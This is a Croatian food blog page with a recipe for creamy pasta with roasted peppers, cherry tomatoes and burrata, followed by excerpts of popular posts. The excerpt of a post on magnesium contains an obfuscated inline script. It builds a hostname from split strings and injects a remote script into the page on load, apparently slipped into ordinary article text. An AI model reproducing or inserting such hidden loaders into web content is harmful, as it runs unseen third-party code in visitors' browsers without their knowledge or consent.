KREMASTA TJESTENINA S PEČENIM PAPRIKAMA, CHERRY RAJČICAMA I BURRATOM 🍅





Kremasta tjestenina s pečenim paprikama, cherry rajčicama i burratom 




Krenule su ljetne temperature, a to može značiti samo jedno, pravi se tjestenina na sto različitih načina. Danas za ručak pravimo tjesteninu s pečenim paprikama, cherry rajčicama i burratom, provjerena je to kombinacija s čijim sastojcima ne možete pogriješiti.





Kremasta tjestenina s pečenim paprikama, cherry rajčicama i burratom 



Sastojci:

300 g tjestenine
300 g cherry rajčica
4 žlice maslinovog ulja
1 žličica origana
3 češnja češnjaka
2 veće pečene crvene paprike
2 šake svježeg špinata ili rikole
1 burrata
sok pola limuna
prstohvat chili pahuljica
svježi bosiljak
sol i papar




Priprema:

Ako koristite svježe paprike, pecite ih u pećnici na 220 °C ili direktno na tavi dok koža ne potamni i ne dobije mjehuriće. Stavite ih u zdjelu i pustite 10 minuta da omekšaju. Ogulite kožu i narežite na trakice. Skuhajte tjesteninu u dobro posoljenoj vodi dok ne bude al dente. Sačuvajte oko 100 ml vode od kuhanja prije cijeđenja. U velikoj tavi zagrijte maslinovo ulje pa dodajte sitno sjeckani češnjak i chili pahuljice. Pirjajte kratko, tek toliko da zamiriše. Ubacite cherry rajčice i pustite da lagano popucaju i puste sokove. U tavu zatim dodajte pečene paprike, origano, limunovu koricu i malo vode od kuhanja tjestenine. Ubacite tjesteninu i sve dobro promiješajte dok ne postane sjajno i kremasto.

Maknite tavu s vatre pa dodajte špinat da samo lagano uvene. Umiješajte malo limunovog soka i po potrebi dodajte još soli i papra. Na vrh stavite burratu natrganu rukama i pospite bosiljkom. Dodajte još malo maslinovog ulja prije posluživanja.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više